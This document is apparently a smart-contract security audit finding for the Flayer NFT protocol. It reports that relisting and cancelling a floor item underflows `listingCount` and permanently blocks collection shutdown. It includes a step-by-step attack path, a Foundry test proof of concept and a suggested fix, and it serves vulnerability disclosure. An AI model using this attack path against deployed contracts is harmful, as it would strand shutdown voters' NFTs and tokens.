Obedient Flaxen Peacock

High

# Attacker can relist a floor item and cancel the listing to underflow `listingCount` and block collection shutdown execution

### Summary

Relisting a floor item does not increase the `listingCount` but canceling the listing decreases the `listingCount`. Since decrementing the `listingCount` is unchecked, it will underflow when `listingCount` is at 0. An attacker can use this behavior to block collection shutdown execution.

### Root Cause

When relisting a floor item, the `listingCount` is not incremented.

ref: [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672)

Relisting a floor item is expected behavior.

ref: [test_CanRelistFloorItemAsLiquidListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/Listings.t.sol#L2086-L2188)

Listing actions like [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L462-L464), [fill()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L515), and [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725) do an unchecked decrement on `listingCount`. 

```solidity
unchecked { listingCount[_collection] -= 1; }
```

The combination of creating a listing without incrementing `listingCount` and the unchecked decrementing of `listingCount` can cause an underflow. 

### Internal pre-conditions

1. Total supply of target collection token is below `10e18 * 10 ** denomination`. It is ready for shutdown.

### External pre-conditions

None

### Attack Path

1. Anyone [starts](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) the shutdown of a collection. 
2. Attacker gets an NFT of the target collection.
3. Attacker calls [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166) to lock the NFT for 1e18 collection tokens. 
4. Attacker relists an NFT from the target collection. This can be the NFT they deposited (they will need to use a different address) or another NFT that's already in the Locker. 
5. Attacker [cancels](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L463) the listing to decrement the `listingCount`. 
6. Attacker repeats the process of relisting and canceling until `listingCount` has underflowed.
7. CollectionShutdown can never [execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241) because it always [has listings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L500-L502) due to the underflow.
8. All shutdown voters permanently lose their NFTs and collection tokens. [Reclaiming their vote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L360) will always fail since `execute()` always reverts and can never [set `params.canExecute`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L273) back to false.

Well-intentioned users can trigger the issue just by relisting a floor item.

### Impact

The shutdown voters permanently lose their collection tokens and NFTs. The attacker neither gains nor loses anything.

### PoC

Add the following test to `test/Listings.t.sol::ListingsTest`. Comment out the total supply check in [`CollectionShutdown:start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147) before running the test. This is for easier test setup and is not relevant to the issue.

```diff
-        if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+        // if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
```

The test can be run with:

```bash
$ forge test --match-test test_ListingCountUnderflow
```

<details>
<summary>Test POC</summary>

```solidity
    function test_ListingCountUnderflow(address _lister, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
        _assumeValidTokenId(_tokenId);
        _assumeValidAddress(_lister);
        _assumeValidAddress(_relister);
        vm.assume(_lister != _relister);
        _assumeRealisticFloorMultiple(_floorMultiple);

        // Provide a token into the core Locker to create a Floor item
        erc721a.mint(_lister, _tokenId);

        vm.startPrank(_lister);
        erc721a.approve(address(locker), _tokenId);

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = _tokenId;

        // Rather than creating a listing, we will deposit it as a floor token
        locker.deposit(address(erc721a), tokenIds);
        vm.stopPrank();

        // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
        // a straight 1:1 swap.
        ICollectionToken token = locker.collectionToken(address(erc721a));
        assertEq(token.balanceOf(_lister), 1 ether);

        uint256 listingCountBefore = listings.listingCount(address(erc721a));

        vm.startPrank(_relister);

        // Provide our filler with sufficient, approved ERC20 tokens to make the relist
        uint startBalance = 1 ether;
        deal(address(token), _relister, startBalance);
        token.approve(address(listings), startBalance);

        // Relist our floor item into one of various collections
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IListings.Listing({
                    owner: _relister,
                    created: uint40(block.timestamp),
                    duration: listings.MIN_LIQUID_DURATION(),
                    floorMultiple: _floorMultiple
                })
            }),
            _payTaxWithEscrow: false
        });

        vm.stopPrank();

        token.approve(address(collectionShutdown), type(uint256).max);

        // Start shutting down the collection
        collectionShutdown.start(address(erc721a));
        ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721a));

        // Cancel the relisted listing
        vm.prank(_relister);
        listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);

        // The Listing Count has underflowed is now maxUint256
        assertEq(listings.listingCount(address(erc721a)), type(uint256).max);

        // Collection Shutdown can never execute because of the _hasListings() check
        vm.expectRevert(ICollectionShutdown.ListingsExist.selector);
        collectionShutdown.execute(address(erc721a), _tokenIdToArray(_tokenId));
    }
```
</details>

### Mitigation

Consider adding logic to [`relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) to increment `listingCount` when relisting a floor item.